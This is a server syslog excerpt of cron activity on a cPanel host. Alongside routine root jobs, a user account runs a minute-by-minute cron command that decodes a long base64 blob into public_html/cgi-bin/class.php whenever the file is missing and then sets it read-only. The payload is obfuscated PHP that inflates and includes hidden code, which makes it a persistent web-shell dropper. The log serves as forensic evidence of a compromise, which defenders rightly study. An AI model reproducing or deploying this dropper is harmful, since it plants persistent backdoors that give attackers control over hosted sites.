Apr 12 03:20:01 server CROND[15711]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 03:20:01 server CROND[15712]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 03:20:01 server CROND[15713]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 03:20:01 server CROND[15715]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 03:20:01 server CROND[15717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:21:01 server CROND[15818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:22:01 server CROND[15876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:23:01 server CROND[15924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:24:01 server CROND[15962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:25:01 server CROND[16105]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 03:25:01 server CROND[16106]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 03:25:01 server CROND[16107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:26:01 server CROND[16208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:27:01 server CROND[16263]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Apr 12 03:27:01 server CROND[16264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:27:01 server CROND[16266]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 03:28:01 server CROND[16317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:29:01 server CROND[16368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:30:01 server CROND[16418]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 03:30:01 server CROND[16420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:30:01 server CROND[16419]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 03:30:01 server CROND[16421]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 03:31:01 server CROND[16615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:32:01 server anacron[13934]: Job `cron.daily' started
Apr 12 03:32:01 server run-parts(/etc/cron.daily)[16665]: starting csget
Apr 12 03:32:01 server run-parts(/etc/cron.daily)[16674]: finished csget
Apr 12 03:32:01 server run-parts(/etc/cron.daily)[16665]: starting logclean
Apr 12 03:32:01 server run-parts(/etc/cron.daily)[16688]: finished logclean
Apr 12 03:32:01 server run-parts(/etc/cron.daily)[16665]: starting logrotate
Apr 12 03:32:01 server run-parts(/etc/cron.daily)[16695]: finished logrotate
Apr 12 03:32:01 server run-parts(/etc/cron.daily)[16665]: starting maldet
Apr 12 03:32:01 server CROND[16756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
